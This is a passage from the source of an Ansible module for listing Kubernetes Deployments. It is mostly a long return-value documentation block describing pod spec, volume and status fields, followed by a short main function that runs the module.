garbage collected. If this object is managed by a controller, then an entry in this list will point to this controller, with the controller field set to true. There cannot be more than one managing controller. type: list contains: api_version: description: - API version of the referent. type: str controller: description: - If true, this reference points to the managing controller. type: bool kind: description: - Kind of the referent. type: str name: description: - Name of the referent. type: str uid: description: - UID of the referent. type: str resource_version: description: - An opaque value that represents the internal version of this object that can be used by clients to determine when objects have changed. May be used for optimistic concurrency, change detection, and the watch operation on a resource or set of resources. Clients must treat these values as opaque and passed unmodified back to the server. They may only be valid for a particular resource or set of resources. Populated by the system. Read-only. Value must be treated as opaque by clients and . type: str self_link: description: - SelfLink is a URL representing this object. Populated by the system. Read-only. type: str uid: description: - UID is the unique in time and space value for this object. It is typically generated by the server on successful creation of a resource and is not allowed to change on PUT operations. Populated by the system. Read-only. type: str spec: description: - Specification of the desired behavior of the pod. type: complex contains: active_deadline_seconds: description: - Optional duration in seconds the pod may be active on the node relative to StartTime before the system will actively try to mark it failed and kill associated containers. Value must be a positive integer. type: int containers: description: - List of containers belonging to the pod. Containers cannot currently be added or removed. There must be at least one container in a Pod. Cannot be updated. type: list contains: args: description: - "Arguments to the entrypoint. The docker image's CMD is\ \ used if this is not provided. Variable references $(VAR_NAME)\ \ are expanded using the container's environment. If a\ \ variable cannot be resolved, the reference in the input\ \ string will be unchanged. The $(VAR_NAME) syntax can\ \ be escaped with a double $$, ie: $$(VAR_NAME). Escaped\ \ references will never be expanded, regardless of whether\ \ the variable exists or not. Cannot be updated." type: list contains: str command: description: - "Entrypoint array. Not executed within a shell. The docker\ \ image's ENTRYPOINT is used if this is not provided.\ \ Variable references $(VAR_NAME) are expanded using the\ \ container's environment. If a variable cannot be resolved,\ \ the reference in the input string will be unchanged.\ \ The $(VAR_NAME) syntax can be escaped with a double\ \ $$, ie: $$(VAR_NAME). Escaped references will never\ \ be expanded, regardless of whether the variable exists\ \ or not. Cannot be updated." type: list contains: str env: description: - List of environment variables to set in the container. Cannot be updated. type: list contains: name: description: - Name of the environment variable. Must be a C_IDENTIFIER. type: str value: description: - 'Variable references $(VAR_NAME) are expanded using the previous defined environment variables in the container and any service environment variables. If a variable cannot be resolved, the reference in the input string will be unchanged. The $(VAR_NAME) syntax can be escaped with a double $$, ie: $$(VAR_NAME). Escaped references will never be expanded, regardless of whether the variable exists or not. Defaults to "".' type: str value_from: description: - Source for the environment variable's value. Cannot be used if value is not empty. type: complex contains: config_map_key_ref: description: - Selects a key of a ConfigMap. type: complex contains: key: description: - The key to select. type: str name: description: - Name of the referent. type: str field_ref: description: - 'Selects a field of the pod: supports metadata.name, metadata.namespace, metadata.labels, metadata.annotations, spec.nodeName, spec.serviceAccountName, status.podIP.' type: complex contains: api_version: description: - Version of the schema the FieldPath is written in terms of, defaults to "v1". type: str field_path: description: - Path of the field to select in the specified API version. type: str resource_field_ref: description: - 'Selects a resource of the container: only resources limits and requests (limits.cpu, limits.memory, requests.cpu and requests.memory) are currently supported.' type: complex contains: container_name: description: - 'Container name: required for volumes, optional for env vars' type: str divisor: description: - Specifies the output format of the exposed resources, defaults to "1" type: complex contains: {} resource: description: - 'Required: resource to select' type: str secret_key_ref: description: - Selects a key of a secret in the pod's namespace type: complex contains: key: description: - The key of the secret to select from. Must be a valid secret key. type: str name: description: - Name of the referent. type: str image: description: - Docker image name. type: str image_pull_policy: description: - Image pull policy. One of Always, Never, IfNotPresent. Defaults to Always if :latest tag is specified, or IfNotPresent otherwise. Cannot be updated. type: str lifecycle: description: - Actions that the management system should take in response to container lifecycle events. Cannot be updated. type: complex contains: post_start: description: - PostStart is called immediately after a container is created. If the handler fails, the container is terminated and restarted according to its restart policy. Other management of the container blocks until the hook completes. type: complex contains: _exec: description: - One and only one of the following should be specified. Exec specifies the action to take. type: complex contains: command: description: - Command is the command line to execute inside the container, the working directory for the command is root ('/') in the container's filesystem. The command is simply exec'd, it is not run inside a shell, so traditional shell instructions ('|', etc) won't work. To use a shell, you need to explicitly call out to that shell. Exit status of 0 is treated as live/healthy and non-zero is unhealthy. type: list contains: str http_get: description: - HTTPGet specifies the http request to perform. type: complex contains: host: description: - Host name to connect to, defaults to the pod IP. You probably want to set "Host" in httpHeaders instead. type: str http_headers: description: - Custom headers to set in the request. HTTP allows repeated headers. type: list contains: name: description: - The header field name type: str value: description: - The header field value type: str path: description: - Path to access on the HTTP server. type: str port: description: - Name or number of the port to access on the container. Number must be in the range 1 to 65535. Name must be an IANA_SVC_NAME. type: complex contains: {} scheme: description: - Scheme to use for connecting to the host. Defaults to HTTP. type: str tcp_socket: description: - TCPSocket specifies an action involving a TCP port. TCP hooks not yet supported type: complex contains: port: description: - Number or name of the port to access on the container. Number must be in the range 1 to 65535. Name must be an IANA_SVC_NAME. type: complex contains: {} pre_stop: description: - PreStop is called immediately before a container is terminated. The container is terminated after the handler completes. The reason for termination is passed to the handler. Regardless of the outcome of the handler, the container is eventually terminated. Other management of the container blocks until the hook completes. type: complex contains: _exec: description: - One and only one of the following should be specified. Exec specifies the action to take. type: complex contains: command: description: - Command is the command line to execute inside the container, the working directory for the command is root ('/') in the container's filesystem. The command is simply exec'd, it is not run inside a shell, so traditional shell instructions ('|', etc) won't work. To use a shell, you need to explicitly call out to that shell. Exit status of 0 is treated as live/healthy and non-zero is unhealthy. type: list contains: str http_get: description: - HTTPGet specifies the http request to perform. type: complex contains: host: description: - Host name to connect to, defaults to the pod IP. You probably want to set "Host" in httpHeaders instead. type: str http_headers: description: - Custom headers to set in the request. HTTP allows repeated headers. type: list contains: name: description: - The header field name type: str value: description: - The header field value type: str path: description: - Path to access on the HTTP server. type: str port: description: - Name or number of the port to access on the container. Number must be in the range 1 to 65535. Name must be an IANA_SVC_NAME. type: complex contains: {} scheme: description: - Scheme to use for connecting to the host. Defaults to HTTP. type: str tcp_socket: description: - TCPSocket specifies an action involving a TCP port. TCP hooks not yet supported type: complex contains: port: description: - Number or name of the port to access on the container. Number must be in the range 1 to 65535. Name must be an IANA_SVC_NAME. type: complex contains: {} liveness_probe: description: - Periodic probe of container liveness. Container will be restarted if the probe fails. Cannot be updated. type: complex contains: _exec: description: - One and only one of the following should be specified. Exec specifies the action to take. type: complex contains: command: description: - Command is the command line to execute inside the container, the working directory for the command is root ('/') in the container's filesystem. The command is simply exec'd, it is not run inside a shell, so traditional shell instructions ('|', etc) won't work. To use a shell, you need to explicitly call out to that shell. Exit status of 0 is treated as live/healthy and non-zero is unhealthy. type: list contains: str failure_threshold: description: - Minimum consecutive failures for the probe to be considered failed after having succeeded. Defaults to 3. Minimum value is 1. type: int http_get: description: - HTTPGet specifies the http request to perform. type: complex contains: host: description: - Host name to connect to, defaults to the pod IP. You probably want to set "Host" in httpHeaders instead. type: str http_headers: description: - Custom headers to set in the request. HTTP allows repeated headers. type: list contains: name: description: - The header field name type: str value: description: - The header field value type: str path: description: - Path to access on the HTTP server. type: str port: description: - Name or number of the port to access on the container. Number must be in the range 1 to 65535. Name must be an IANA_SVC_NAME. type: complex contains: {} scheme: description: - Scheme to use for connecting to the host. Defaults to HTTP. type: str initial_delay_seconds: description: - Number of seconds after the container has started before liveness probes are initiated. type: int period_seconds: description: - How often (in seconds) to perform the probe. Default to 10 seconds. Minimum value is 1. type: int success_threshold: description: - Minimum consecutive successes for the probe to be considered successful after having failed. Defaults to 1. Must be 1 for liveness. Minimum value is 1. type: int tcp_socket: description: - TCPSocket specifies an action involving a TCP port. TCP hooks not yet supported type: complex contains: port: description: - Number or name of the port to access on the container. Number must be in the range 1 to 65535. Name must be an IANA_SVC_NAME. type: complex contains: {} timeout_seconds: description: - Number of seconds after which the probe times out. Defaults to 1 second. Minimum value is 1. type: int name: description: - Name of the container specified as a DNS_LABEL. Each container in a pod must have a unique name (DNS_LABEL). Cannot be updated. type: str ports: description: - List of ports to expose from the container. Exposing a port here gives the system additional information about the network connections a container uses, but is primarily informational. Not specifying a port here DOES NOT prevent that port from being exposed. Any port which is listening on the default "0.0.0.0" address inside a container will be accessible from the network. Cannot be updated. type: list contains: container_port: description: - Number of port to expose on the pod's IP address. This must be a valid port number, 0 < x < 65536. type: int host_ip: description: - What host IP to bind the external port to. type: str host_port: description: - Number of port to expose on the host. If specified, this must be a valid port number, 0 < x < 65536. If HostNetwork is specified, this must match ContainerPort. Most containers do not need this. type: int name: description: - If specified, this must be an IANA_SVC_NAME and unique within the pod. Each named port in a pod must have a unique name. Name for the port that can be referred to by services. type: str protocol: description: - Protocol for port. Must be UDP or TCP. Defaults to "TCP". type: str readiness_probe: description: - Periodic probe of container service readiness. Container will be removed from service endpoints if the probe fails. Cannot be updated. type: complex contains: _exec: description: - One and only one of the following should be specified. Exec specifies the action to take. type: complex contains: command: description: - Command is the command line to execute inside the container, the working directory for the command is root ('/') in the container's filesystem. The command is simply exec'd, it is not run inside a shell, so traditional shell instructions ('|', etc) won't work. To use a shell, you need to explicitly call out to that shell. Exit status of 0 is treated as live/healthy and non-zero is unhealthy. type: list contains: str failure_threshold: description: - Minimum consecutive failures for the probe to be considered failed after having succeeded. Defaults to 3. Minimum value is 1. type: int http_get: description: - HTTPGet specifies the http request to perform. type: complex contains: host: description: - Host name to connect to, defaults to the pod IP. You probably want to set "Host" in httpHeaders instead. type: str http_headers: description: - Custom headers to set in the request. HTTP allows repeated headers. type: list contains: name: description: - The header field name type: str value: description: - The header field value type: str path: description: - Path to access on the HTTP server. type: str port: description: - Name or number of the port to access on the container. Number must be in the range 1 to 65535. Name must be an IANA_SVC_NAME. type: complex contains: {} scheme: description: - Scheme to use for connecting to the host. Defaults to HTTP. type: str initial_delay_seconds: description: - Number of seconds after the container has started before liveness probes are initiated. type: int period_seconds: description: - How often (in seconds) to perform the probe. Default to 10 seconds. Minimum value is 1. type: int success_threshold: description: - Minimum consecutive successes for the probe to be considered successful after having failed. Defaults to 1. Must be 1 for liveness. Minimum value is 1. type: int tcp_socket: description: - TCPSocket specifies an action involving a TCP port. TCP hooks not yet supported type: complex contains: port: description: - Number or name of the port to access on the container. Number must be in the range 1 to 65535. Name must be an IANA_SVC_NAME. type: complex contains: {} timeout_seconds: description: - Number of seconds after which the probe times out. Defaults to 1 second. Minimum value is 1. type: int resources: description: - Compute Resources required by this container. Cannot be updated. type: complex contains: limits: description: - Limits describes the maximum amount of compute resources allowed. type: complex contains: str, ResourceQuantity requests: description: - Requests describes the minimum amount of compute resources required. If Requests is omitted for a container, it defaults to Limits if that is explicitly specified, otherwise to an implementation-defined value. type: complex contains: str, ResourceQuantity security_context: description: - Security options the pod should run with. type: complex contains: capabilities: description: - The capabilities to add/drop when running containers. Defaults to the default set of capabilities granted by the container runtime. type: complex contains: add: description: - Added capabilities type: list contains: str drop: description: - Removed capabilities type: list contains: str privileged: description: - Run container in privileged mode. Processes in privileged containers are essentially equivalent to root on the host. Defaults to false. type: bool read_only_root_filesystem: description: - Whether this container has a read-only root filesystem. Default is false. type: bool run_as_non_root: description: - Indicates that the container must run as a non-root user. If true, the Kubelet will validate the image at runtime to ensure that it does not run as UID 0 (root) and fail to start the container if it does. If unset or false, no such validation will be performed. May also be set in PodSecurityContext. If set in both SecurityContext and PodSecurityContext, the value specified in SecurityContext takes precedence. type: bool run_as_user: description: - The UID to run the entrypoint of the container process. Defaults to user specified in image metadata if unspecified. May also be set in PodSecurityContext. If set in both SecurityContext and PodSecurityContext, the value specified in SecurityContext takes precedence. type: int se_linux_options: description: - The SELinux context to be applied to the container. If unspecified, the container runtime will allocate a random SELinux context for each container. May also be set in PodSecurityContext. If set in both SecurityContext and PodSecurityContext, the value specified in SecurityContext takes precedence. type: complex contains: level: description: - Level is SELinux level label that applies to the container. type: str role: description: - Role is a SELinux role label that applies to the container. type: str type: description: - Type is a SELinux type label that applies to the container. type: str user: description: - User is a SELinux user label that applies to the container. type: str stdin: description: - Whether this container should allocate a buffer for stdin in the container runtime. If this is not set, reads from stdin in the container will always result in EOF. Default is false. type: bool stdin_once: description: - Whether the container runtime should close the stdin channel after it has been opened by a single attach. When stdin is true the stdin stream will remain open across multiple attach sessions. If stdinOnce is set to true, stdin is opened on container start, is empty until the first client attaches to stdin, and then remains open and accepts data until the client disconnects, at which time stdin is closed and remains closed until the container is restarted. If this flag is false, a container processes that reads from stdin will never receive an EOF. Default is false type: bool termination_message_path: description: - "Optional: Path at which the file to which the container's\ \ termination message will be written is mounted into\ \ the container's filesystem. Message written is intended\ \ to be brief final status, such as an assertion failure\ \ message. Defaults to /dev/termination-log. Cannot be\ \ updated." type: str tty: description: - Whether this container should allocate a TTY for itself, also requires 'stdin' to be true. Default is false. type: bool volume_mounts: description: - Pod volumes to mount into the container's filesystem. Cannot be updated. type: list contains: mount_path: description: - Path within the container at which the volume should be mounted. Must not contain ':'. type: str name: description: - This must match the Name of a Volume. type: str read_only: description: - Mounted read-only if true, read-write otherwise (false or unspecified). Defaults to false. type: bool sub_path: description: - Path within the volume from which the container's volume should be mounted. Defaults to "" (volume's root). type: str working_dir: description: - Container's working directory. If not specified, the container runtime's default will be used, which might be configured in the container image. Cannot be updated. type: str dns_policy: description: - Set DNS policy for containers within the pod. One of 'ClusterFirst' or 'Default'. Defaults to "ClusterFirst". type: str host_ipc: description: - "Use the host's ipc namespace. Optional: Default to false." type: bool host_network: description: - Host networking requested for this pod. Use the host's network namespace. If this option is set, the ports that will be used must be specified. Default to false. type: bool host_pid: description: - "Use the host's pid namespace. Optional: Default to false." type: bool hostname: description: - Specifies the hostname of the Pod If not specified, the pod's hostname will be set to a system-defined value. type: str image_pull_secrets: description: - ImagePullSecrets is an optional list of references to secrets in the same namespace to use for pulling any of the images used by this PodSpec. If specified, these secrets will be passed to individual puller implementations for them to use. For example, in the case of docker, only DockerConfig type secrets are honored. type: list contains: name: description: - Name of the referent. type: str node_name: description: - NodeName is a request to schedule this pod onto a specific node. If it is non-empty, the scheduler simply schedules this pod onto that node, assuming that it fits resource requirements. type: str node_selector: description: - NodeSelector is a selector which must be true for the pod to fit on a node. Selector which must match a node's labels for the pod to be scheduled on that node. type: complex contains: str, str restart_policy: description: - Restart policy for all containers within the pod. One of Always, OnFailure, Never. Default to Always. type: str security_context: description: - 'SecurityContext holds pod-level security attributes and common container settings. Optional: Defaults to empty. See type description for default values of each field.' type: complex contains: fs_group: description: - "A special supplemental group that applies to all containers\ \ in a pod. Some volume types allow the Kubelet to change\ \ the ownership of that volume to be owned by the pod:\ \ 1. The owning GID will be the FSGroup 2. The setgid\ \ bit is set (new files created in the volume will be\ \ owned by FSGroup) 3. The permission bits are OR'd with\ \ rw-rw---- If unset, the Kubelet will not modify the\ \ ownership and permissions of any volume." type: int run_as_non_root: description: - Indicates that the container must run as a non-root user. If true, the Kubelet will validate the image at runtime to ensure that it does not run as UID 0 (root) and fail to start the container if it does. If unset or false, no such validation will be performed. May also be set in SecurityContext. If set in both SecurityContext and PodSecurityContext, the value specified in SecurityContext takes precedence. type: bool run_as_user: description: - The UID to run the entrypoint of the container process. Defaults to user specified in image metadata if unspecified. May also be set in SecurityContext. If set in both SecurityContext and PodSecurityContext, the value specified in SecurityContext takes precedence for that container. type: int se_linux_options: description: - The SELinux context to be applied to all containers. If unspecified, the container runtime will allocate a random SELinux context for each container. May also be set in SecurityContext. If set in both SecurityContext and PodSecurityContext, the value specified in SecurityContext takes precedence for that container. type: complex contains: level: description: - Level is SELinux level label that applies to the container. type: str role: description: - Role is a SELinux role label that applies to the container. type: str type: description: - Type is a SELinux type label that applies to the container. type: str user: description: - User is a SELinux user label that applies to the container. type: str supplemental_groups: description: - A list of groups applied to the first process run in each container, in addition to the container's primary GID. If unspecified, no groups will be added to any container. type: list contains: int service_account: description: - 'DeprecatedServiceAccount is a depreciated alias for ServiceAccountName. Deprecated: Use serviceAccountName instead.' type: str service_account_name: description: - ServiceAccountName is the name of the ServiceAccount to use to run this pod. type: str subdomain: description: - If specified, the fully qualified Pod hostname will be "<hostname>.<subdomain>.<pod namespace>.svc.<cluster domain>". If not specified, the pod will not have a domainname at all. type: str termination_grace_period_seconds: description: - Optional duration in seconds the pod needs to terminate gracefully. May be decreased in delete request. Value must be non-negative integer. The value zero indicates delete immediately. If this value is nil, the default grace period will be used instead. The grace period is the duration in seconds after the processes running in the pod are sent a termination signal and the time when the processes are forcibly halted with a kill signal. Set this value longer than the expected cleanup time for your process. Defaults to 30 seconds. type: int volumes: description: - List of volumes that can be mounted by containers belonging to the pod. type: list contains: aws_elastic_block_store: description: - AWSElasticBlockStore represents an AWS Disk resource that is attached to a kubelet's host machine and then exposed to the pod. type: complex contains: fs_type: description: - 'Filesystem type of the volume that you want to mount. Tip: Ensure that the filesystem type is supported by the host operating system. Examples: "ext4", "xfs", "ntfs". Implicitly inferred to be "ext4" if unspecified.' type: str partition: description: - 'The partition in the volume that you want to mount. If omitted, the default is to mount by volume name. Examples: For volume /dev/sda1, you specify the partition as "1". Similarly, the volume partition for /dev/sda is "0" (or you can leave the property empty).' type: int read_only: description: - Specify "true" to force and set the ReadOnly property in VolumeMounts to "true". If omitted, the default is "false". type: bool volume_id: description: - Unique ID of the persistent disk resource in AWS (Amazon EBS volume). type: str azure_disk: description: - AzureDisk represents an Azure Data Disk mount on the host and bind mount to the pod. type: complex contains: caching_mode: description: - 'Host Caching mode: None, Read Only, Read Write.' type: str disk_name: description: - The Name of the data disk in the blob storage type: str disk_uri: description: - The URI the data disk in the blob storage type: str fs_type: description: - Filesystem type to mount. Must be a filesystem type supported by the host operating system. Ex. "ext4", "xfs", "ntfs". Implicitly inferred to be "ext4" if unspecified. type: str read_only: description: - Defaults to false (read/write). ReadOnly here will force the ReadOnly setting in VolumeMounts. type: bool azure_file: description: - AzureFile represents an Azure File Service mount on the host and bind mount to the pod. type: complex contains: read_only: description: - Defaults to false (read/write). ReadOnly here will force the ReadOnly setting in VolumeMounts. type: bool secret_name: description: - the name of secret that contains Azure Storage Account Name and Key type: str share_name: description: - Share Name type: str cephfs: description: - CephFS represents a Ceph FS mount on the host that shares a pod's lifetime type: complex contains: monitors: description: - 'Required: Monitors is a collection of Ceph monitors' type: list contains: str path: description: - 'Optional: Used as the mounted root, rather than the full Ceph tree, default is /' type: str read_only: description: - 'Optional: Defaults to false (read/write). ReadOnly here will force the ReadOnly setting in VolumeMounts.' type: bool secret_file: description: - 'Optional: SecretFile is the path to key ring for User, default is /etc/ceph/user.secret' type: str secret_ref: description: - 'Optional: SecretRef is reference to the authentication secret for User, default is empty.' type: complex contains: name: description: - Name of the referent. type: str user: description: - 'Optional: User is the rados user name, default is admin' type: str cinder: description: - Cinder represents a cinder volume attached and mounted on kubelets host machine type: complex contains: fs_type: description: - 'Filesystem type to mount. Must be a filesystem type supported by the host operating system. Examples: "ext4", "xfs", "ntfs". Implicitly inferred to be "ext4" if unspecified.' type: str read_only: description: - 'Optional: Defaults to false (read/write). ReadOnly here will force the ReadOnly setting in VolumeMounts.' type: bool volume_id: description: - volume id used to identify the volume in cinder type: str config_map: description: - ConfigMap represents a configMap that should populate this volume type: complex contains: default_mode: description: - 'Optional: mode bits to use on created files by default. Must be a value between 0 and 0777. Defaults to 0644. Directories within the path are not affected by this setting. This might be in conflict with other options that affect the file mode, like fsGroup, and the result can be other mode bits set.' type: int items: description: - If unspecified, each key-value pair in the Data field of the referenced ConfigMap will be projected into the volume as a file whose name is the key and content is the value. If specified, the listed keys will be projected into the specified paths, and unlisted keys will not be present. If a key is specified which is not present in the ConfigMap, the volume setup will error. Paths must be relative and may not contain the '..' path or start with '..'. type: list contains: key: description: - The key to project. type: str mode: description: - 'Optional: mode bits to use on this file, must be a value between 0 and 0777. If not specified, the volume defaultMode will be used. This might be in conflict with other options that affect the file mode, like fsGroup, and the result can be other mode bits set.' type: int path: description: - The relative path of the file to map the key to. May not be an absolute path. May not contain the path element '..'. May not start with the string '..'. type: str name: description: - Name of the referent. type: str downward_api: description: - DownwardAPI represents downward API about the pod that should populate this volume type: complex contains: default_mode: description: - 'Optional: mode bits to use on created files by default. Must be a value between 0 and 0777. Defaults to 0644. Directories within the path are not affected by this setting. This might be in conflict with other options that affect the file mode, like fsGroup, and the result can be other mode bits set.' type: int items: description: - Items is a list of downward API volume file type: list contains: field_ref: description: - 'Required: Selects a field of the pod: only annotations, labels, name and namespace are supported.' type: complex contains: api_version: description: - Version of the schema the FieldPath is written in terms of, defaults to "v1". type: str field_path: description: - Path of the field to select in the specified API version. type: str mode: description: - 'Optional: mode bits to use on this file, must be a value between 0 and 0777. If not specified, the volume defaultMode will be used. This might be in conflict with other options that affect the file mode, like fsGroup, and the result can be other mode bits set.' type: int path: description: - "Required: Path is the relative path name of the\ \ file to be created. Must not be absolute or\ \ contain the '..' path. Must be utf-8 encoded.\ \ The first item of the relative path must not\ \ start with '..'" type: str resource_field_ref: description: - 'Selects a resource of the container: only resources limits and requests (limits.cpu, limits.memory, requests.cpu and requests.memory) are currently supported.' type: complex contains: container_name: description: - 'Container name: required for volumes, optional for env vars' type: str divisor: description: - Specifies the output format of the exposed resources, defaults to "1" type: complex contains: {} resource: description: - 'Required: resource to select' type: str empty_dir: description: - EmptyDir represents a temporary directory that shares a pod's lifetime. type: complex contains: medium: description: - What type of storage medium should back this directory. The default is "" which means to use the node's default medium. Must be an empty string (default) or Memory. type: str fc: description: - FC represents a Fibre Channel resource that is attached to a kubelet's host machine and then exposed to the pod. type: complex contains: fs_type: description: - Filesystem type to mount. Must be a filesystem type supported by the host operating system. Ex. "ext4", "xfs", "ntfs". Implicitly inferred to be "ext4" if unspecified. type: str lun: description: - 'Required: FC target lun number' type: int read_only: description: - 'Optional: Defaults to false (read/write). ReadOnly here will force the ReadOnly setting in VolumeMounts.' type: bool target_ww_ns: description: - 'Required: FC target worldwide names (WWNs)' type: list contains: str flex_volume: description: - FlexVolume represents a generic volume resource that is provisioned/attached using an exec based plugin. This is an alpha feature and may change in future. type: complex contains: driver: description: - Driver is the name of the driver to use for this volume. type: str fs_type: description: - Filesystem type to mount. Must be a filesystem type supported by the host operating system. Ex. "ext4", "xfs", "ntfs". The default filesystem depends on FlexVolume script. type: str options: description: - 'Optional: Extra command options if any.' type: complex contains: str, str read_only: description: - 'Optional: Defaults to false (read/write). ReadOnly here will force the ReadOnly setting in VolumeMounts.' type: bool secret_ref: description: - 'Optional: SecretRef is reference to the secret object containing sensitive information to pass to the plugin scripts. This may be empty if no secret object is specified. If the secret object contains more than one secret, all secrets are passed to the plugin scripts.' type: complex contains: name: description: - Name of the referent. type: str flocker: description: - Flocker represents a Flocker volume attached to a kubelet's host machine. This depends on the Flocker control service being running type: complex contains: dataset_name: description: - Name of the dataset stored as metadata -> name on the dataset for Flocker should be considered as deprecated type: str dataset_uuid: description: - UUID of the dataset. This is unique identifier of a Flocker dataset type: str gce_persistent_disk: description: - GCEPersistentDisk represents a GCE Disk resource that is attached to a kubelet's host machine and then exposed to the pod. type: complex contains: fs_type: description: - 'Filesystem type of the volume that you want to mount. Tip: Ensure that the filesystem type is supported by the host operating system. Examples: "ext4", "xfs", "ntfs". Implicitly inferred to be "ext4" if unspecified.' type: str partition: description: - 'The partition in the volume that you want to mount. If omitted, the default is to mount by volume name. Examples: For volume /dev/sda1, you specify the partition as "1". Similarly, the volume partition for /dev/sda is "0" (or you can leave the property empty).' type: int pd_name: description: - Unique name of the PD resource in GCE. Used to identify the disk in GCE. type: str read_only: description: - ReadOnly here will force the ReadOnly setting in VolumeMounts. Defaults to false. type: bool git_repo: description: - GitRepo represents a git repository at a particular revision. type: complex contains: directory: description: - Target directory name. Must not contain or start with '..'. If '.' is supplied, the volume directory will be the git repository. Otherwise, if specified, the volume will contain the git repository in the subdirectory with the given name. type: str repository: description: - Repository URL type: str revision: description: - Commit hash for the specified revision. type: str glusterfs: description: - Glusterfs represents a Glusterfs mount on the host that shares a pod's lifetime. type: complex contains: endpoints: description: - EndpointsName is the endpoint name that details Glusterfs topology. type: str path: description: - Path is the Glusterfs volume path. type: str read_only: description: - ReadOnly here will force the Glusterfs volume to be mounted with read-only permissions. Defaults to false. type: bool host_path: description: - HostPath represents a pre-existing file or directory on the host machine that is directly exposed to the container. This is generally used for system agents or other privileged things that are allowed to see the host machine. Most containers will NOT need this. type: complex contains: path: description: - Path of the directory on the host. type: str iscsi: description: - ISCSI represents an ISCSI Disk resource that is attached to a kubelet's host machine and then exposed to the pod. type: complex contains: fs_type: description: - 'Filesystem type of the volume that you want to mount. Tip: Ensure that the filesystem type is supported by the host operating system. Examples: "ext4", "xfs", "ntfs". Implicitly inferred to be "ext4" if unspecified.' type: str iqn: description: - Target iSCSI Qualified Name. type: str iscsi_interface: description: - "Optional: Defaults to 'default' (tcp). iSCSI interface\ \ name that uses an iSCSI transport." type: str lun: description: - iSCSI target lun number. type: int read_only: description: - ReadOnly here will force the ReadOnly setting in VolumeMounts. Defaults to false. type: bool target_portal: description: - iSCSI target portal. The portal is either an IP or ip_addr:port if the port is other than default (typically TCP ports 860 and 3260). type: str name: description: - Volume's name. Must be a DNS_LABEL and unique within the pod. type: str nfs: description: - NFS represents an NFS mount on the host that shares a pod's lifetime type: complex contains: path: description: - Path that is exported by the NFS server. type: str read_only: description: - ReadOnly here will force the NFS export to be mounted with read-only permissions. Defaults to false. type: bool server: description: - Server is the hostname or IP address of the NFS server. type: str persistent_volume_claim: description: - PersistentVolumeClaimVolumeSource represents a reference to a PersistentVolumeClaim in the same namespace. type: complex contains: claim_name: description: - ClaimName is the name of a PersistentVolumeClaim in the same namespace as the pod using this volume. type: str read_only: description: - Will force the ReadOnly setting in VolumeMounts. Default false. type: bool photon_persistent_disk: description: - PhotonPersistentDisk represents a PhotonController persistent disk attached and mounted on kubelets host machine type: complex contains: fs_type: description: - Filesystem type to mount. Must be a filesystem type supported by the host operating system. Ex. "ext4", "xfs", "ntfs". Implicitly inferred to be "ext4" if unspecified. type: str pd_id: description: - ID that identifies Photon Controller persistent disk type: str quobyte: description: - Quobyte represents a Quobyte mount on the host that shares a pod's lifetime type: complex contains: group: description: - Group to map volume access to Default is no group type: str read_only: description: - ReadOnly here will force the Quobyte volume to be mounted with read-only permissions. Defaults to false. type: bool registry: description: - Registry represents a single or multiple Quobyte Registry services specified as a string as host:port pair (multiple entries are separated with commas) which acts as the central registry for volumes type: str user: description: - User to map volume access to Defaults to serivceaccount user type: str volume: description: - Volume is a string that references an already created Quobyte volume by name. type: str rbd: description: - RBD represents a Rados Block Device mount on the host that shares a pod's lifetime. type: complex contains: fs_type: description: - 'Filesystem type of the volume that you want to mount. Tip: Ensure that the filesystem type is supported by the host operating system. Examples: "ext4", "xfs", "ntfs". Implicitly inferred to be "ext4" if unspecified.' type: str image: description: - The rados image name. type: str keyring: description: - Keyring is the path to key ring for RBDUser. Default is /etc/ceph/keyring. type: str monitors: description: - A collection of Ceph monitors. type: list contains: str pool: description: - The rados pool name. Default is rbd. type: str read_only: description: - ReadOnly here will force the ReadOnly setting in VolumeMounts. Defaults to false. type: bool secret_ref: description: - SecretRef is name of the authentication secret for RBDUser. If provided overrides keyring. Default is nil. type: complex contains: name: description: - Name of the referent. type: str user: description: - The rados user name. Default is admin. type: str secret: description: - Secret represents a secret that should populate this volume. type: complex contains: default_mode: description: - 'Optional: mode bits to use on created files by default. Must be a value between 0 and 0777. Defaults to 0644. Directories within the path are not affected by this setting. This might be in conflict with other options that affect the file mode, like fsGroup, and the result can be other mode bits set.' type: int items: description: - If unspecified, each key-value pair in the Data field of the referenced Secret will be projected into the volume as a file whose name is the key and content is the value. If specified, the listed keys will be projected into the specified paths, and unlisted keys will not be present. If a key is specified which is not present in the Secret, the volume setup will error. Paths must be relative and may not contain the '..' path or start with '..'. type: list contains: key: description: - The key to project. type: str mode: description: - 'Optional: mode bits to use on this file, must be a value between 0 and 0777. If not specified, the volume defaultMode will be used. This might be in conflict with other options that affect the file mode, like fsGroup, and the result can be other mode bits set.' type: int path: description: - The relative path of the file to map the key to. May not be an absolute path. May not contain the path element '..'. May not start with the string '..'. type: str secret_name: description: - Name of the secret in the pod's namespace to use. type: str vsphere_volume: description: - VsphereVolume represents a vSphere volume attached and mounted on kubelets host machine type: complex contains: fs_type: description: - Filesystem type to mount. Must be a filesystem type supported by the host operating system. Ex. "ext4", "xfs", "ntfs". Implicitly inferred to be "ext4" if unspecified. type: str volume_path: description: - Path that identifies vSphere volume vmdk type: str status: description: - Most recently observed status of the Deployment. type: complex contains: available_replicas: description: - Total number of available pods (ready for at least minReadySeconds) targeted by this deployment. type: int conditions: description: - Represents the latest available observations of a deployment's current state. type: list contains: last_transition_time: description: - Last time the condition transitioned from one status to another. type: complex contains: {} last_update_time: description: - The last time this condition was updated. type: complex contains: {} message: description: - A human readable message indicating details about the transition. type: str reason: description: - The reason for the condition's last transition. type: str status: description: - Status of the condition, one of True, False, Unknown. type: str type: description: - Type of deployment condition. type: str observed_generation: description: - The generation observed by the deployment controller. type: int replicas: description: - Total number of non-terminated pods targeted by this deployment (their labels match the selector). type: int unavailable_replicas: description: - Total number of unavailable pods targeted by this deployment. type: int updated_replicas: description: - Total number of non-terminated pods targeted by this deployment that have the desired template spec. type: int kind: description: - Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. type: str metadata: description: - Standard list metadata. type: complex contains: resource_version: description: - String that identifies the server's internal version of this object that can be used by clients to determine when objects have changed. Value must be treated as opaque by clients and passed unmodified back to the server. Populated by the system. Read-only. type: str self_link: description: - SelfLink is a URL representing this object. Populated by the system. Read-only. type: str ''' def main(): try: module = KubernetesAnsibleModule('deployment_list', 'V1beta1') except KubernetesAnsibleException as exc: # The helper failed to init, so there is no module object. All we can do is raise the error. raise Exception(exc.message) try: module.execute_module() except KubernetesAnsibleException as exc: module.fail_json(msg="Module failed!", error=str(exc)) if __name__ == '__main__': main()
77844ea2871718c6734f51e15170dee491eb798f
